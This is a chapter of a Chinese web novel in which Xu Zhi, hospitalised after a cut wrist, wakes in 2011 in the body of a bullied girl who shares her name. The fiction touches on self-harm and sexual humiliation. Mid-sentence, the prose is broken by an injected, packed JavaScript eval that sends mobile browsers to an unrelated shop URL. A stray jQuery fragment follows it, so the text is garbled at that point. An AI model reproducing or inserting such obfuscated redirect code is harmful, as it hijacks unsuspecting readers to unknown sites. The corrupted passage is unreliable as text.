许知在彻底失去意识之前，最后的感知是颠簸。
有人在背着她奔跑。
她的下巴无力地磕在对方肩头，身体随着急促的步伐上下起伏，耳边是呼啸而过的夜风，还有少年压抑着的粗重喘息。
鼻尖萦绕着被汗水浸透的凛冽雪松香气，混着淡淡的血腥味，在冷风中忽远忽近。
她艰难地掀起眼皮。
迷离的月光落在少年短削的黑发上，映出一个模糊到几乎不真切的轮廓。她想看清他的脸，可视线怎么都对不上焦，只能看见他下颌线紧绷的弧度，还有后颈被汗水浸湿的碎发。
是宋怀景。
他怎么会来？他怎么知道她在洗手间里？
这些问题在脑子里打了个转，便消散在铺天盖地的眩晕中。
意识开始像坏掉的胶片一样闪回。先是黑暗，然后是光，然后是更久远的画面——
小小一团的她被妈妈抱在膝上，摇摇晃晃的，干燥温暖的掌心贴着她的脸颊，声音轻得像在哼一首摇篮曲。
“我的小知啊，是我的宝物。”
妈妈的宝物。
她不能死。
许知的眼眶猛地酸涩起来，滚烫的液体夺眶而出，打湿了少年肩头的衣料。她用尽最后一丝力气攥紧手指，不知道攥住了什么，只是死死地抓着，像是攥住那根即将从生命里滑脱的线。
“不能死……”
她执拗地呢喃，声音轻得几乎被风声吞没。
宋怀景的脚步顿了一瞬。他的后背被一阵汹涌的湿热浸透，分不清那是不断渗出的血，还是身后这个女人的眼泪。
他没有回头，只是将背上的人往上掂了掂，继续朝别墅大门狂奔。
救护车的鸣笛声由远及近，红色的光在夜色中急促地闪动。急救担架从车厢里抬下来，医生们小跑着迎上来，七手八脚地去接少年背上的许知。
可她的手揪着他T恤的下摆，指节因为用力过度而泛着不正常的青白，怎么都掰不开。
医生为难地看向宋怀景。
少年回头扫了一眼，脸上没有任何多余的表情。他抬手捏住那片衣料的边缘，面无表情地用力一撕，“刺啦”一声，那块布料干脆地断开。
他抽回手，冷眼站在原地，看着少女被抬上担架、推进救护车。
斑驳的光影从驶离的车窗玻璃上一一掠过，将少年的身影切割成明暗交错的碎片。他单手脱下那件沾满血迹的T恤，露出精瘦冷白的上半身，面容依旧冷峻，看不出任何情绪的波动。
在浓重的夜色中，他随手将那团布料扔进路边的垃圾桶，头也不回地转身上了楼。
救护车的车门在他身后重重关上。
许知最后的一点意识，被警报声和消毒水的气味，彻底吞没。
早上六点，岸城人民医院。
许知在一场冗长而混乱的梦里挣扎着睁开了眼。
刺眼的阳光从窗帘的缝隙里劈进来，落在她苍白到近乎透明的脸颊上。
漆黑的瞳孔缓慢地收缩、聚焦，像是老旧的相机镜头在努力对焦。
她无声地张了张嘴，喉咙里只发出一声干哑到极点的气音。
缓了好一会儿，眼前的景象才逐渐清晰起来。她转动眼珠，视线往下落，看见了一个趴在她床边熟睡的女人。
女人把脸埋在交叠的双臂间，只露出一个后脑勺。
鬓角的头发向后拢起，散乱不堪，几缕碎发翘在空气里。
身上穿着一件素色的短袖，布料微微发皱，像是急匆匆赶来、又在这里守了很久。
这个人，她并不认识。
许知皱起细长的眉，试图回忆昨晚发生的事——晚宴、祝苑、洗手间、停电、手腕上的血、宋怀景背着她在风里狂奔——所有画面在脑海里横冲直撞，最后归于一片空白。
她下意识地抬起左手，手腕上缠着一圈又一圈的白纱布，隐隐有血迹渗透出来。另一只手还扎着吊瓶的针头，透明的药液正沿着软管一滴一滴地往下坠。
太阳穴突突地跳，像有什么东西在一下一下地敲着她的神经。
晚宴上怎么会突然被割腕？这个女人是谁？她怎么会在岸城？
所有的问题都没有答案。
许知烦躁地拧了拧眉，看了一眼还在熟睡的女人，伸手拔掉了手背上的针头。血珠瞬间从针孔里冒出来，她随手按住，光着脚踩上搁在床底的那双拖鞋。
站起来的时候，眼前一阵发黑，她扶着床边缓了缓，然后悄无声息地推开了病房的门。
走廊长长的，清晨的阳光从尽头的窗户泼进来，在地面上切出一块一块明亮的光斑。
此时人还很少，只有零星几个护士在值班台后低声交谈。
许知拖着虚弱的步子走到护士站前，打量了一圈，目光锁定在一个正拄着脸看杂志的护士身上。
那人嘴角翘着，看得很是入迷。
“你好，能借我用一下手机吗？”
许知开口，声音沙哑得连自己都吓了一跳，“我想给家人打个电话。”
护士“唔”了一声，恋恋不舍地把目光从杂志上拔出来，从裤兜里掏出手机递给她：“座机坏了，你用我的吧。”
许知道了声谢，接过来低头一看，指尖顿了一下。
这手机居然还有home键。
十年前的款式，她记得很清楚，那会儿智能手机才刚刚普及，全面屏还是科幻片里的概念。
她不动声色地收回目光，在通话界面里熟练地按下了夏颂枝的电话号码。
“对不起，您拨打的号码是空号，请稍后再拨。”
许知愣住了。
昨天还打过的电话，怎么可能是空号？
她舔了舔干涩的嘴唇，又拨了谢亭川的号码。
无法接通。
然后是父母的电话、家里公司的电话、甚至她在国外念书时的室友——空号、空号、无法接通。
许知攥紧手机，指节发白。
那护士看她脸色不对，好心开口：“小姑娘别急，你告诉我名字，我给你查查住院信息就找到了。”
许知深深吸了一口气，压下心底翻涌的不安，报出了自己的名字。
“许知。”
护士一听，眼睛亮了起来。她拿起刚才翻得入迷的那本杂志，指着封皮上的少女，一脸惊喜：“好巧啊，你跟这个童星一个名字呢。”
许知踮起脚尖去看那个封面。
黑色的长直发，冷艳的眉眼，百褶短裙下是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941985|213946||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一双笔直修长的腿。
少女微微侧着脸，红唇轻启，美得惊心动魄。
那是她。
是她在出国前接的最后一个杂志封面。
她还记得当时这期杂志直接卖到脱销，谢亭川大老远打越洋电话来找她要样稿，她都没舍得寄。
可那是十五年前的事了。
“这是最新一期的？”她的声音有点飘。
“那当然，”护士一脸骄傲，“我可是跑了三家报刊亭才抢到的。你都不知道这期多火，全国都断货了。”
许知的瞳孔猛地收缩。
她缓缓地转过头去。
护士站墙上的电子钟，猩红色的数字安静地跳动着——
2011年7月15日。
脑袋里像有什么东西轰然炸开。她猛地低头看向自己缠着纱布的左手腕，又抬头看向护士，声音急促：“你的镜子，借我一下。”
她捏紧镜子的把手，盯着镜面里那张脸。
苍白，清秀，一双无辜的杏眼，小巧的鼻梁，眼角下缀着一颗泪痣，像一只受了惊吓的小鹿。
这不是她的脸。
可这张脸她认得——是同在岸城四中的另一个女孩，跟她同名同姓，也叫许知。
她怎么变成了她？
疑问还没来得及成形，脑海里忽然有什么东西裂开了。
就像是有人在她大脑里打开了一道闸门，无数不属于她的记忆碎片裹挟着画面和声音，铺天盖地地涌了进来。
光影疯狂变换，时间被拉扯成混乱的碎片。
她看见一个中年女人冲进浴室，跪在浸满血水的浴缸边，抱起浴缸里奄奄一息的少女，嗓音绝望到了极致：“小知，小知，只要你能醒过来，妈妈什么都听你的。”
她看见自己赤身裸体地蜷缩在昏暗的器材室角落，四周是此起彼伏的快门声和尖锐的嘲笑。
一双手伸到她面前，温柔的女声说：“我把他们赶走了，你快出来吧。”
她靠在那个人的怀里，鼻尖是香甜的气味，她想看清那人的脸，却只看见一片模糊。
她跟着那个人爬上陈旧的台阶。少女的短裙在晚霞里飞扬，转过身的瞬间，那张脸终于清晰——是许知的脸，是她自己的脸。
而她回过头，在凭空出现的镜子里，看见了自己现在这张苍白怯弱的脸。
那个如小鹿一般的女孩就站在她身边，嘴角挂着自嘲的弧度，轻声开口：
“许知，帮帮我吧。”
“替我活下去，替我照顾妈妈，替我报仇……”
“求求你……”
针尖扎进皮肤的刺痛猛地将许知拽回现实。
她喘出一口浊气，低头看见护士正在给她重新处理手腕上浸透血迹的纱布。
那个趴在床边睡觉的女人不知道什么时候也赶了过来，正站在护士身后，眼眶通红地攥着衣角。
那个在记忆碎片里哭喊着“只要你能醒过来”的声音，和她在医院醒来时听到的第一个声音，重合在一起。
妈妈。
许知抬起眼，看向那张终于不再模糊的、满是担忧的中年女人的脸。
她装作疼痛难忍地皱起眉头，声音沙哑而迷茫：
“你是谁？”